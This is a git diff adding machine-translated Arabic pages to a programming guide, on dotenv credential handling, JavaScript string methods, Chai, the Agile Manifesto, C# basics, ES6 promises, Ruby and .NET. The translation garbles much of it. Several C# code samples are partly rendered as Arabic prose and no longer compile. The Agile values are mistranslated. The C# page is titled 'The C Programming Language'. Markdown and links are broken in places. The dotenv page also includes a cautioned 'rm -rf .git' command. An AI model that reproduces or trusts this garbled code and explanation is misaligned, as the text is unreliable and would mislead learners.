+حذار: استخدام علامة -rf يمكن حذف القرص بأكمله إذا لم يتم استخدامه بشكل صحيح. أستخدم علم -i ، الذي يشير إلى التفاعلي للتأكد من أنني في الدليل الصحيح. بعد الفرز من خلال بعض الملفات وأنا متأكد 100 ٪ أنا في المكان المناسب ، سأقتل هذا الأمر وتشغيله مرة أخرى دون العلم -i. افعل ما تشعر به أكثر راحة ، ولكن يُنصح أن يكون لديك نسخة احتياطية كاملة من جهاز الكمبيوتر الخاص بك (في أكثر من مكان) قبل تشغيل الأمر --rm.
+
+ `cd <project-name> 
+ rm -i -rf .git 
+` 
+
+**ثالثًا** تأكد من تحديث ملف .gitignore لتضمين ملف .env بالإضافة إلى أي مجلدات أخرى ترغب في الاحتفاظ بها خاصة. يمكن أن تكون ملفات IDE المحلية مثل .idea / في حالة استخدام jetbrains في هذا الملف. ملفي .gitignore يشبه هذا. لاحظ أنه يمكنك إضافة مجلد أو ملف هنا قبل إنشائه دون التسبب في أي أخطاء.
+
+`.gitignore`  
+node\_modules  
+.env  
+البيانات/  
+.فكرة/
+
+**وأخيرا** إنشاء مستودع جديد. أنت الآن على استعداد للاستمرار في إنشاء ملف .env ودفع الريبو الخاص بك بأمان إلى جيثب والحفاظ على بيانات الاعتماد الخاصة بك آمنة.
+
+`git init`
+
+## كيفية استخدام dotenv في التطبيق المحلي الخاص بك
+
+هذا هو المكان الذي يمكن أن يساعد وحدة dotenv عقدة. لاستخدام dotenv ، تحتاج إلى طلب ذلك في رمز التطبيق الخاص بك ، استدعاء الدالة config () عليه والتي تسحب بيانات الاعتماد الخاصة بك من ملف مخزن محلياً على جهاز الكمبيوتر الخاص بك. يدعى هذا الملف `.env`
+
+**الخطوة 1:** إنشاء ملف .env وتخزين المتغيرات الخاصة بك فيه  
+`MONGOLAB_URI="mongodb://username:password@ds01316.mlab.com:1316/food"`
+
+**الخطوة 2:** يتطلب dotenv في التطبيق الرئيسي الخاص بك  
+في `app.js` الرئيسي الخاص بك (أو أيا كان ما `app.js` )  
+`var dotenv = require('dotenv');`
+
+**الخطوة 3:** استدعاء وظيفة التكوين على المتغير الخاص بك. (لاحظ أن كل ذلك يمكن القيام به في سطر واحد عن طريق الربط ، لكني أحب رؤية حدوث ذلك كنشاط منفصل).  
+`dotenv.config();`
+
+**الخطوة 4:** قم بتعيين عنوان mongodb الخاص بك عن طريق استدعاء المتغيرات الخاصة بالعملية الخاصة بك:  
+`var url = process.env.MONGOLAB_URI;`
+
+يحافظ هذا الحل على تنظيف التعليمات البرمجية الخاصة بك من بيانات الاعتماد الآمنة التي لا تريد دفعها إلى مستودع عام ، مع الحفاظ على تنظيم كل تطبيق بدقة وتوفير الوقت أثناء التطوير.
+
+**المراجع:**
+
+[osxdaily.com](http://osxdaily.com/2015/07/28/set-enviornment-variables-mac-os-x/)
+
+! \[\] (http://cdn.osxdaily.com/wp-content/uploads/2014/08/terminal-icon-osx.png) ### [أين يمكن تعيين متغيرات البيئة في نظام التشغيل Mac OS X](http://osxdaily.com/2015/07/28/set-enviornment-variables-mac-os-x/) في سطر الأوامر ، يتم تعريف المتغيرات البيئية للقشرة الحالية وتصبح موروثة بأي أمر تشغيل أو عملية. يمكنهم تحديد أي شيء من shell الافتراضي ، PATH ، ...
+
+[stackoverflow.com](http://stackoverflow.com/questions/35356692/best-practice-when-using-an-api-key-in-node-js)
+
+[! \[Drake Main](https://i.stack.imgur.com/jRaTj.jpg?s=128&g=1) \] (http://stackoverflow.com/users/4956243/drake-main) #### [أفضل الممارسات عند استخدام مفتاح API في Node.js](http://stackoverflow.com/questions/35356692/best-practice-when-using-an-api-key-in-node-js)
+
+\*\* node.js، api-key \*\*
+
+بطلب من [دريك ماين](http://stackoverflow.com/users/4956243/drake-main) في [07:05 صباحا - 12 فبراير 16](http://stackoverflow.com/questions/35356692/best-practice-when-using-an-api-key-in-node-js)
+
+[stackoverflow.com](http://stackoverflow.com/questions/1213430/how-to-fully-delete-a-git-repository-created-with-init)
+
+[! \[Peiniau](https://www.gravatar.com/avatar/9db1745a666cface1731c12d54e189e6?s=128&d=identicon&r=PG) \] (http://stackoverflow.com/users/105813/peiniau) #### [كيف تحذف بالكامل مستودع git تم إنشاؤه باستخدام init؟](http://stackoverflow.com/questions/1213430/how-to-fully-delete-a-git-repository-created-with-init)
+
+\*\* git، git-init \*\*
+
+بقلم [Peiniau](http://stackoverflow.com/users/105813/peiniau) في [الساعة 04:06 مساءً - 31 يوليو 09](http://stackoverflow.com/questions/1213430/how-to-fully-delete-a-git-repository-created-with-init)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/stringprototypelastindexof/index.md b/client/src/guide/arabic/miscellaneous/stringprototypelastindexof/index.md
new file mode 100644
index 0000000000..2dd4fcda0d
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/stringprototypelastindexof/index.md
@@ -0,0 +1,65 @@
+---
+title: String.prototype.lastIndexOf
+localeTitle: String.prototype.lastIndexOf
+---
+إرجاع الأسلوب `lastIndexOf()` الفهرس ضمن كائن سلسلة الاستدعاء من التواجد الأخير للقيمة المحددة أو -1 إذا لم يتم العثور على. يتم البحث في سلسلة الاستدعاء للخلف ، بدءًا من `fromIndex` .
+
+## بناء الجملة
+
+ `str.lastIndexOf(searchValue<a href='https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/lastIndexOf' target='_blank' rel='nofollow'>, fromIndex]) 
+` 
+
+## المعلمات
+
+**searchValue**
+
+سلسلة تمثل القيمة المطلوب البحث عنها.
+
+**fromIndex**
+
+اختياري. الموقع داخل سلسلة الاتصال لبدء البحث في ، فهرستها من اليسار إلى اليمين. يمكن أن يكون أي عدد صحيح. القيمة الافتراضية هي `str.length` . إذا كان سلبيا، فإنه يعامل 0. إذا `fromIndex > str.length` ، `fromIndex` يعامل `str.length` .
+
+\[رابط MDN | [رابط MSDN](https://msdn.microsoft.com/en-us/LIBRary/6d20k718%28v=vs.94%29.aspx)
+
+## عائدات
+
+إرجاع آخر ظهور لسلسلة فرعية في السلسلة.
+
+## وصف
+
+تتم فهرسة الأحرف في سلسلة من اليسار إلى اليمين. فهرس الحرف الأول هو 0 ، ومؤشر آخر حرف هو `stringName.length - 1` .
+
+أسلوب `lastIndexOf()` حساس لحالة الأحرف. على سبيل المثال ، يعيد التعبير التالي `-1` :
+
+## أمثلة
+
+ `'canal'.lastIndexOf('a');     // returns 3 
+ 'canal'.lastIndexOf('a', 2);  // returns 1 
+ 'canal'.lastIndexOf('a', 0);  // returns -1 
+ 'canal'.lastIndexOf('x');     // returns -1 
+ 'Blue Whale, Killer Whale'.lastIndexOf('blue'); // returns -1 
+ 
+ var anyString = 'Brave new world'; 
+ 
+ console.log('The index of the first w from the beginning is ' + anyString.indexOf('w')); 
+ // logs 8 
+ console.log('The index of the first w from the end is ' + anyString.lastIndexOf('w')); 
+ // logs 10 
+ console.log('The index of "new" from the beginning is ' + anyString.indexOf('new')); 
+ // logs 6 
+ console.log('The index of "new" from the end is ' + anyString.lastIndexOf('new')); 
+ // logs 6 
+ 
+ var str = "time, time"; 
+ 
+ var s = ""; 
+ s += "time is at position " + str.lastIndexOf("time"); 
+ s += "<br />"; 
+ s += "abc is at position " + str.lastIndexOf("abc"); 
+ 
+ document.write(s); 
+ 
+ // Output: 
+ // time is at position 6 
+ // abc is at position -1 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/testing-with-chaijs/index.md b/client/src/guide/arabic/miscellaneous/testing-with-chaijs/index.md
new file mode 100644
index 0000000000..7d36c3d947
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/testing-with-chaijs/index.md
@@ -0,0 +1,41 @@
+---
+title: Testing with Chaijs
+localeTitle: اختبار مع Chaijs
+---
+[تشاي](http://chaijs.com) هي مكتبة اختبار لـ Node.js.
+
+### التركيب
+
+يمكنك تثبيت Chai في مشروعك من خلال npm.
+
+ `npm install chai 
+` 
+
+##### المؤيدة للطرف
+
+إضافة Chai في devDependencies of _package.json_ ، باستخدام \* كعلامة إصدار. بهذه الطريقة ، لديك دائمًا أحدث إصدار.
+
+ `"devDependencies": { 
+  "chai": "*" 
+ } 
+` 
+
+### كيف تستعمل
+
+#### يجزم
+
+يمكنك استخدام _التأكيد_ للتأكد من أداء اختباراتك جيدًا.
+
+ ``var assert = require('chai').assert, foo = 'bar', beverages = { tea: [ 'chai', 'matcha', 'oolong' ] }; 
+ 
+ assert.typeOf(foo, 'string'); // without optional message 
+ assert.typeOf(foo, 'string', 'foo is a string'); // with optional message 
+ assert.equal(foo, 'bar', 'foo equal `bar`'); 
+ assert.lengthOf(foo, 3, 'foo`s value has a length of 3'); 
+ assert.lengthOf(beverages.tea, 3, 'beverages has 3 types of tea'); 
+`` 
+
+### مزيد من المعلومات:
+
+*   `help chai assert`
+*   `help chai expectations`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/the-agile-manifesto/index.md b/client/src/guide/arabic/miscellaneous/the-agile-manifesto/index.md
new file mode 100644
index 0000000000..c78515b558
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/the-agile-manifesto/index.md
@@ -0,0 +1,38 @@
+---
+title: The Agile Manifesto
+localeTitle: The Agile Manifesto
+---
+### لتطوير البرمجيات رشيق
+
+تمت صياغة تطوير رشيق في عام 2001 من قبل مجموعة من 17 من خبراء البرمجيات التي شملت مبدعي Scrum Extreme Programming (XP) ، وطرق تطوير الأنظمة الديناميكية (DSDM) ، وكريستال. ممثل عن التنمية المدفوعة بالميزات ؛ والعديد من قادة الفكر الآخرين في صناعة البرمجيات. أسس بيان Agile مجموعة مشتركة من القيم والمبادئ الشاملة لجميع المنهجيات الرشيقة الفردية في ذلك الوقت. هذا هو هذا البيان.
+
+نحن نكشف عن طرق أفضل لتطوير البرمجيات من خلال القيام بذلك ومساعدة الآخرين على القيام بذلك. من خلال هذا العمل أصبحنا نقدر:
+
+1.  الأفراد والتفاعلات على العمليات والأدوات.
+2.  تعمل البرامج على وثائق شاملة
+3.  تعاون العملاء على التفاوض على العقود
+4.  وردا على تغيير خلال اتباع خطة
+
+> في حين أن هناك قيمة في العناصر على اليمين ، فإننا نقدر العناصر على اليسار أكثر.
+
+الموقرون الأصليون:
+
+*   كينت بيك
+*   مايك بيدل
+*   آري فان بينيكوم
+*   اليستير كوكبرن
+*   وارد كننغهام
+*   مارتن فاولر
+*   جيمس غريننغ
+*   جيم هايسميث
+*   أندرو هانت
+*   رون جيفريز
+*   جون كيرن
+*   بريان ماريك
+*   روبرت سي مارتن
+*   ستيف ميلور
+*   كين شوابر
+*   جيف ساذرلاند
+*   ديف توماس
+
+اقرأ [المستند](http://agilemanifesto.org/) الأصلي على [http://agilemanifesto.org/](http://agilemanifesto.org/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/the-c-programming-language/index.md b/client/src/guide/arabic/miscellaneous/the-c-programming-language/index.md
new file mode 100644
index 0000000000..c673464901
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/the-c-programming-language/index.md
@@ -0,0 +1,201 @@
+---
+title: The C Programming Language
+localeTitle: لغة البرمجة C
+---
+## مبادئ
+
+*   اقامة
+*   برنامجك الأول C #
+*   أنواع ومتغيرات
+*   بيانات التحكم في التدفق
+*   العاملين
+*   سلاسل
+*   الفصول ، الكائنات ، الواجهة والطرق الرئيسية
+*   الحقول والخصائص
+*   نطاق ومعدلات إمكانية الوصول
+*   التعامل مع الاستثناءات
+
+## متوسط
+
+*   الأدوية
+*   الأحداث ، المندوبين وتعديلات لامدا
+*   إطار مجموعة
+*   LINQ
+
+## المتقدمة
+
+*   برمجة غير متزامنة (Async and Await)
+*   مكتبة المهام المتوازية
+
+## ما هو الجديد في C # 6
+
+*   Null-Conditional Operator
+*   Auto-Initializers
+*   تعبير Nameof
+*   تعبير وظائف بودي وخصائص
+*   ميزات أخرى
+
+## المبادئ الشيئية (OOP)
+
+*   التغليف
+*   التجريد
+*   ميراث
+*   تعدد الأشكال
+
+## المبادئ الصلبة
+
+*   مبدأ المسؤولية الواحدة
+*   مفتوح المبدأ مغلق
+*   مبدأ استبدال Liskov
+*   مبدأ الفصل بين الواجهة
+*   مبدأ الانقلاب التبعية
+
+## C # Best practices، Pattern Designs & Test Driven Development (TDD)
+
+## اقامة
+
+[LinqPad](http://www.linqpad.net/) عبارة عن [لوحة شاشة](http://www.linqpad.net/) NET لاختبار سريعا مقتطفات C # [code.The](http://www.linqpad.net/) الإصدار القياسي مجاني وأداة مثالية للمبتدئين لتنفيذ العبارات والتعبيرات والبرامج اللغوية.
+
+بدلاً من ذلك ، يمكنك أيضًا تنزيل [Visual Studio Community 2015](https://www.visualstudio.com/en-us/products/visual-studio-community-vs.aspx) وهو [IDE قابل](https://en.wikipedia.org/wiki/Integrated_development_environment) للتوسعة يستخدمه معظم المتخصصين لإنشاء تطبيقات المؤسسة.
+
+## برنامجك الأول C #
+
+ `//this is the single line comment 
+ 
+ /** This is multiline comment, 
+ compiler ignores any code inside comment blocks. 
+ **/ 
+ 
+ //This is the namespace, part of the standard .NET Framework Class Library 
+ using System; 
+ // namespace defines the scope of related objects into packages 
+ namespace Learning.CSharp 
+ { 
+  // name of the class, should be same as of .cs file 
+  public class Program 
+  { 
+    //entry point method for console applications 
+   public static void Main() 
+    { 
+      //print lines on console 
+      Console.WriteLine("Hello, World!"); 
+      //Reads the next line of characters from the standard input stream.Most common use is to pause program execution before clearing the console. 
+      Console.ReadLine(); 
+    } 
+  } 
+ } 
+` 
+
+يجب أن يكون لكل تطبيق من تطبيقات C # وحدة التحكم [طريقة رئيسية](https://msdn.microsoft.com/en-gb/library/acy3edy3.aspx) تمثل نقطة دخول البرنامج.
+
+تحرير [HelloWorld](https://dotnetfiddle.net/kY7QRm) في .NET Fiddle ، أداة مستوحاة من [JSFiddle](http://jsfiddle.net) حيث يمكنك تغيير مقتطفات الشفرة والتحقق من الإخراج لنفسك. لاحظ أن هذا مجرد مشاركة واختبار مقتطفات الشفرة ، وليس لاستخدامها في تطوير التطبيقات.
+
+إذا كنت تستخدم visual studio ، اتبع هذا [البرنامج التعليمي](https://msdn.microsoft.com/en-us/library/k1sx6ed2.aspx) لإنشاء تطبيق وحدة التحكم وفهم أول برنامج C #.
+
+## أنواع ومتغيرات
+
+C # هي لغة مكتوبة بقوة. كل متغير لديه نوع. كل تعبير أو بيان يتم تقييمه إلى قيمة. هناك نوعان من الأنواع في C #
+
+*   أنواع القيم
+*   أنواع المرجع.
+
+**أنواع القيم** : المتغيرات التي تحتوي على أنواع قيم تحتوي على قيم مباشرة. إن تعيين متغير نوع قيمة واحد إلى آخر ينسخ القيمة المحتواة.
+
+[تحرير في .NET Fiddle](https://dotnetfiddle.net/JCkTxb)
+
+ `int a = 10; 
+ int b = 20; 
+ a=b; 
+ Console.WriteLine(a); //prints 20 
+ Console.WriteLine(b); //prints 20 
+` 
+
+لاحظ أنه في اللغات الديناميكية الأخرى قد يكون هذا مختلفًا ، ولكن في C # يكون هذا دائمًا نسخة قيمة. عند إنشاء نوع القيمة ، يتم إنشاء مساحة واحدة على الأرجح في [بنية تخزين العناصر](http://gribblelab.org/CBootcamp/7_Memory_Stack_vs_Heap.html#orgheadline2) ، وهي بنية بيانات "LIFO" (آخر في أول خطوة). المكدس لديه حدود الحجم وعمليات الذاكرة فعالة. أمثلة قليلة من أنواع البيانات المضمنة هي `int, float, double, decimal, char and string` .
+
+النوع | مثال | وصف  
+\--------- | -------------------------------------------------- --------------------------- | -------------------------------------------------- -------------------------------------------------- -----------------------------  
+_عدد صحيح_ `int fooInt = 7;` | **وقعت 32 بت** عدد صحيح  
+_طويل_ | `long fooLong = 3000L;` | **وقعت** عدد صحيح **64 بت** . **يتم استخدام L لتحديد أن قيمة المتغير هذه من النوع long / ulong**  
+_مزدوج_ | `double fooDouble = 20.99;` | الدقة: **15-16 رقمًا**  
+_تعويم_ | `float fooFloat = 314.5f;` | الدقة: **7 أرقام** . **يتم استخدام F لتحديد أن قيمة المتغير هذه من نوع float**  
+_عشري_ | `decimal fooDecimal = 23.3m;` | الدقة: من **28 إلى 29 رقمًا** . المزيد من الدقة والنطاق الأصغر يجعلها مناسبة **للحسابات المالية والنقدية**  
+_تشار_ | `char fooChar = 'Z';` | **حرف Unicode 16 بت** واحد  
+_منطقية_ | `bool fooBoolean = false;` | منطقية - **صحيحة و خاطئة**  
+_سلسلة_ `string fooString = "\"escape\" quotes and add \n (new lines) and \t (tabs);` | **سلسلة من أحرف Unicode.**
+
+للحصول على قائمة كاملة بجميع أنواع البيانات المضمنة ، انظر [هنا](https://msdn.microsoft.com/en-us/library/ms228360)
+
+[**أنواع المراجع**](https://msdn.microsoft.com/en-us/library/490f96s2.aspx) : تخزن متغيرات أنواع المراجع إشارات إلى الكائنات الخاصة بها ، مما يعني أنها تخزن العنوان إلى موقع البيانات الموجودة على [المكدس](http://gribblelab.org/CBootcamp/7_Memory_Stack_vs_Heap.html#orgheadline2) ، وتُعرف أيضًا بالمؤشرات. يتم تخزين البيانات الفعلية على ذاكرة [الكومة](http://gribblelab.org/CBootcamp/7_Memory_Stack_vs_Heap.html#orgheadline3) . لا يؤدي تعيين نوع المرجع إلى نوع آخر إلى نسخ البيانات ، وإنما ينشئ النسخة الثانية من المرجع الذي يشير إلى نفس الموقع على كومة الذاكرة المؤقتة.
+
+في كومة الذاكرة المؤقتة ، يتم تخصيص الكائنات ثم deallocated بترتيب عشوائي ولهذا السبب يتطلب مقدار الحمل من إدارة الذاكرة [وجمع البيانات المهملة](https://msdn.microsoft.com/en-us/library/hh156531(v=vs.110) .aspx).
+
+إذا لم تكن تكتب [تعليمات برمجية غير آمنة](https://msdn.microsoft.com/en-us/library/t2yzs44b.aspx) أو تتعامل مع [التعليمات البرمجية غير المُدارة](https://msdn.microsoft.com/en-us/library/sd10k43k(v=vs.100) .aspx) ، فلا داعي للقلق بشأن عمر مواقع الذاكرة الخاصة بك. سيعتني مترجمو .NET و CLR بهذا ، ولكن لا يزال من الجيد الاحتفاظ بهذا العقل لتحسين أداء تطبيقاتك.
+
+مزيد من المعلومات [هنا](http://www.c-sharpcorner.com/UploadFile/rmcochran/csharp_memory01122006130034PM/csharp_memory.aspx?ArticleID=9adb0e3c-b3f6-40b5-98b5-413b6d348b91)
+
+## بيانات التحكم في التدفق
+
+*   [if else](https://msdn.microsoft.com/en-us/library/5011f09h.aspx) statement: [Edit in .NET Fiddle](https://dotnetfiddle.net/IFVB33)
+    
+     `        int myScore = 700; 
+            if (myScore == 700) 
+            { 
+                Console.WriteLine("I get printed on the console"); 
+            } 
+            else if (myScore > 10) 
+            { 
+                Console.WriteLine("I don't"); 
+            } 
+            else 
+            { 
+                Console.WriteLine("I also don't"); 
+            }` 
+    
+     `    /** Ternary operators 
+         A simple if/else can also be written as follows 
+         &lt;condition&gt; ? &lt;true&gt; : &lt;false&gt; **/ 
+        int myNumber = 10; 
+        string isTrue = myNumber == 10 ? "Yes" : "No"; 
+    ` 
+    
+*   بيان [التبديل](https://msdn.microsoft.com/en-GB/library/06tc147t.aspx) : [تحرير في .NET Fiddle](https://dotnetfiddle.net/lPZftO)
+    
+    باستخدام النظام
+    
+    برنامج الطبقة العامة { الفراغ الثابت العام Main () { int myNumber = 0؛ التبديل (myNumber) { // يمكن أن يحتوي قسم التبديل على أكثر من علامة حالة واحدة. الحالة 0: حالة 1: { Console.WriteLine ("Case 0 or 1")؛ استراحة؛ }
+    
+     `        // Most switch sections contain a jump statement, such as a break, goto, or return.; 
+            case 2: 
+                Console.WriteLine("Case 2"); 
+                break; 
+            // 7 - 4 in the following line evaluates to 3. 
+            case 7 - 4: 
+                Console.WriteLine("Case 3"); 
+                break; 
+            // If the value of myNumber is not 0, 1, 2, or 3 the 
+            //default case is executed.* 
+            default: 
+                Console.WriteLine("Default case. This is also optional"); 
+                break; // could also throw new Exception() instead 
+        } 
+     } 
+    ` 
+    
+    }
+    
+*   [For](https://msdn.microsoft.com/en-us/library/ch45axte.aspx) & [Foreach](https://msdn.microsoft.com/en-gb/library/ttw7t8t6.aspx) : [Edit in .NET Fiddle](https://dotnetfiddle.net/edxtvq)
+    
+    لـ (int i = 0؛ i <10؛ i ++) { Console.WriteLine (ط)؛ // print 0-9 }
+    
+    Console.WriteLine (Environment.NewLine)؛ لـ (int i = 0؛ i <= 10؛ i ++) { Console.WriteLine (ط)؛ // print 0-10 }
+    
+    Console.WriteLine (Environment.NewLine)؛ لـ (int i = 10 - 1؛ i> = 0؛ i--) // decrement loop { Console.WriteLine (ط)؛ // يطبع 9-0 }
+    
+    Console.WriteLine (Environment.NewLine)؛ //إلى عن على (؛ ؛ ) { // جميع التعبيرات اختيارية. هذا البيان // ينشئ حلقة لا نهائية. \* //  
+    }
+    
+*   [أثناء](https://msdn.microsoft.com/en-us/library/2aeyhxcd.aspx) [القيام](https://msdn.microsoft.com/en-us/library/370s1zax.aspx) [بالمهام](https://dotnetfiddle.net/O5hOF1) [أثناء](https://msdn.microsoft.com/en-us/library/370s1zax.aspx) : [تحرير في .NET Fiddle](https://dotnetfiddle.net/O5hOF1)
+    
+    // استمر في فترة التكرار حتى يساوي الفهرس 10. int i = 0؛ بينما (أنا <10) { Console.Write ("While statement")؛ Console.WriteLine (i)؛ // اكتب الفهرس على الشاشة. i ++؛ // زيادة المتغير. }
+    
+    عدد int = 0؛ // نفذ العمل أولاً ، حتى يتم استيفاء الشرط ، أي ينتهي عند وجود رقم يساوي 4. فعل { Console.WriteLine (العدد) ؛ // يطبع القيمة من 0-4 عدد ++؛ // أضف واحدة للرقم. } بينما (العدد <= 4) ؛
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/the-es6-promises/index.md b/client/src/guide/arabic/miscellaneous/the-es6-promises/index.md
new file mode 100644
index 0000000000..0d051b4bfe
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/the-es6-promises/index.md
@@ -0,0 +1,15 @@
+---
+title: The Es6 Promises
+localeTitle: و Es6 وعود
+---
+ميزة جديدة من ES6 للمساعدة في برمجة المتزامن.
+
+## بناء الجملة
+
+ `new Promise(executor); 
+ new Promise(function(resolve, reject) { ... }); 
+` 
+
+![صورة MDN](//discourse-user-assets.s3.amazonaws.com/original/2X/8/803d67f7e823e9e50b55debaa82bb661543d2ddc.png)
+
+قراءة المزيد في [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/the-history-of-ruby/index.md b/client/src/guide/arabic/miscellaneous/the-history-of-ruby/index.md
new file mode 100644
index 0000000000..aa4c982b99
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/the-history-of-ruby/index.md
@@ -0,0 +1,21 @@
+---
+title: The History of Ruby
+localeTitle: تاريخ روبي
+---
+[روبي](https://www.ruby-lang.org/en/) هي عملية ديناميكية، وجوه المنحى، [عاكسة](https://en.wikipedia.org/wiki/Reflection_(computer_programming) ) لغة البرمجة مع التركيز على البساطة والإنتاجية. يحتوي على بنية أنيقة للقراءة وقراءة سهلة. كما أن لديها نظام نوع ديناميكي وإدارة ذاكرة تلقائية.
+
+تُعرف Ruby [بسكرها النحوي](https://en.wikipedia.org/wiki/Syntactic_sugar) ، لأنها مصنوعة من أجل سعادة المطور. تم إنشاؤه من قبل مهندس برامج ياباني ، [Yukihiro Matsumoto](https://en.wikipedia.org/wiki/Yukihiro_Matsumoto) (المعروف أيضا باسم Matz) كلغة برمجة بسيطة لغرض عام لعمله اليومي. الجمع بين عناصر Perl و Smalltalk و Scheme في بنية بسيطة لكنها قوية.
+
+تم وضع روبي في 24 فبراير 1993. في عام 1999 إلى قائمة بريدية روبي-كلام ، يصف يوكيهيرو ماتسوموتو بعض أفكاره المبكرة عن اللغة:
+
+> كنت أتحدث مع زميلي حول إمكانية لغة البرمجة النصية الموجهة للكائنات. كنت أعرف بيرل (Perl4 ، وليس Perl5) ، ولكن لم يعجبني ذلك حقاً ، لأنه كان يحتوي على رائحة لغة لعب (ما زالت موجودة). بدت اللغة الموجهة نحو الهدف واعدة جدا. عرفت بايثون بعدها ولكن لم يعجبني ذلك ، لأنني لم أكن أعتقد أنها لغة حقيقية موجهة للكائنات - يبدو أن ميزات OO هي إضافة للغة. وباعتباري مهووس لغوي ومروحة OO لمدة 15 عامًا ، أردت حقًا لغة نصية حقيقية وسهلة الاستخدام. بحثت عن ولكن لم أجد واحدة. لذلك قررت أن أصنعها.
+
+مثل بيرل ، روبي جيد في معالجة النصوص. مثل Smalltalk ، كل شيء في Ruby هو كائن ، ولدى Ruby كتل ، ومكررات ، وفصول دراسية وصفية وغيرها من الأشياء الجيدة. يمكنك استخدام Ruby لكتابة الخوادم وتجربة النماذج الأولية ومهام البرمجة اليومية. وباعتبارها لغة متكاملة المنحى ، فإن روبي يتقن بشكل جيد.
+
+بحلول عام 2000 ، كان روبي أكثر شعبية من بايثون في اليابان. ولكن تم إنشاء وإطلاق إطار عمل [Ruby on Rails على](http://rubyonrails.org/) الويب ؛ نمت بسرعة فائقة تتجاوز اليابان.
+
+اليوم ، تعتبر روبي أون ريلز إطاراً متيناً للويب ؛ وقد رائدة الكثير من الممارسات العظيمة في تطوير الويب.
+
+وبالمثل ، يتم ترميز العديد من [المواقع الشهيرة](https://prograils.com/posts/top-10-famous-sites-built-with-ruby-on-rails) في Ruby on Rails مثل Github و Airbnb و Groupon وغيرها.
+
+هناك العديد من [تطبيقات](https://github.com/cogitator/ruby-implementations/wiki/List-of-Ruby-implementations) روبي. JRuby (Ruby on the JVM) ، و Ruby MRI (تسمى أيضاً CRuby) و IronRuby (Ruby for .NET و Silverlight) هي بعض من أشهرها.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/the-net-platform/index.md b/client/src/guide/arabic/miscellaneous/the-net-platform/index.md
new file mode 100644
index 0000000000..2d9db63188
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/the-net-platform/index.md
@@ -0,0 +1,36 @@
+---
+title: The Net Platform
+localeTitle: منصة الشبكة
+---
+**منصة NET** عبارة عن مجموعة كبيرة وشاملة من الأطر والمكتبات التي تديرها [Microsoft](https://www.microsoft.com/net) . C # هي أكثر اللغات شيوعًا المستخدمة لتطوير مجموعة من تطبيقات .NET ، مثل [تطبيقات الويب](http://www.asp.net/) و [windows aps](https://dev.windows.com/en-us/) و [Mac و iPhone apps](https://www.xamarin.com/platform) .
+
+سوف نبدأ بتعلم لغة برمجة C # ، وسوف نجعلك على دراية ببيئة التطوير ، وهياكل المشروع ، والتقنيات ، وأفضل الممارسات التي ستقوم بها كمطور محترف.
+
+دعونا أولاً نبدأ بنظرة عامة موجزة عن منصة .NET ، ونحصل على بعض jargons من الطريق. لا تقلق ، ليس عليك أن تعرف بالتفصيل هذه الأمور في هذه المرحلة.
+
+*   [يوفر .NET Framework](https://msdn.microsoft.com/en-gb/library/w0x726c2(v=vs.110) .aspx): ( _pronounced net dot_ ) التهيئة لتشغيل التطبيق الخاص بك فوقه. يوفر جميع الخدمات التي يحتاجها التطبيق ؛ على سبيل المثال ، التواصل مع قاعدة البيانات والشبكات وأنظمة الملفات التي تُستخدم عادةً لإنشاء تطبيقات لوحدة التحكم وأجهزة سطح المكتب والويب والجوال والألعاب.
+    
+    *   [CLR (Common Language Runtime)](https://msdn.microsoft.com/en-us/library/8bs2ecf4(v=vs.100) .aspx): هي بيئة تنفيذ للتطبيق الخاص بك الذي يدير دورة حياته. يوفر CLR خدمات مثل إدارة الذاكرة ، وهو:
+    
+    1\. تنفيذ [معيار CLI (البنية التحتية العامة للغات)](http://www.ecma-international.org/publications/standards/Ecma-335.htm) 2. مصممة لتكون منصة مستقلة. يشير النظام الأساسي إلى بنية الكمبيوتر ونظام التشغيل. 3. لغة مستقلة ، على سبيل المثال يمكن استخدامها ل C # ، C ++ ، [VB.NET\] \[vbnet\] و \[F #\] \[fsharp\].](https://msdn.microsoft.com/en-us/library/system.io(v=vs.110)
+    
+*   C-Sharp Compiler: `csc.exe` عبارة عن مترجم يقوم بتحويل الكود C # إلى اللغة الوسيطة لـ Microsoft (MSIL) ، والمشار إليه عادة بـ IL. يحدد التعليمات التي يمكن أن يفهمها CLR. مهمة CLR هي قراءة هذه التعليمات وترجمتها إلى تعليمات مفهومة آليًا.
+    
+*   مكتبات Class: تحتوي على آلاف الطبقات المضمنة لاستخدام التطبيق الخاص بك ، على سبيل المثال \[ `System.IO` .aspx) [`HttpClient`](https://msdn.microsoft.com/en-us/library/system.net.http.httpclient(v=vs.118) بيانات القراءة / الكتابة ، [`HttpClient`](https://msdn.microsoft.com/en-us/library/system.net.http.httpclient(v=vs.118) .aspx) يرسل البيانات عبر الشبكة ، [`ASP.NET`](http://www.asp.net/) لتطبيقات الويب ، [`ADO.NET`](https://msdn.microsoft.com/en-us/library/h43ks021(v=vs.110) .aspx) للوصول إلى البيانات إلى قواعد البيانات العلائقية (مثل Microsoft SQL Server و MySQL) ، و [Windows Communication Foundation (WCF)](https://msdn.microsoft.com/en-us/library/ms735119(v=vs.90) .aspx) للتطبيقات الموجهة للخدمة التي تتصل عبر البروتوكولات المحددة مثل HTTP و REST و SOAP و TCP إلخ.
+    
+*   لغة برمجة C # ( _تنطق بـ "C-sharp"_ ): تحتوي C # على صيغة مشابهة لـ Java و C ++ و Javascript. أنه:
+    
+    1.  تستخدم في كتابة التطبيقات والخدمات والمكتبات التي يعاد استخدامها.
+    2.  مصممة للعمل مع منصة NET.
+    3.  مكتوبة بقوة ، عالية المستوى وجوه المنحى اللغة.
+    
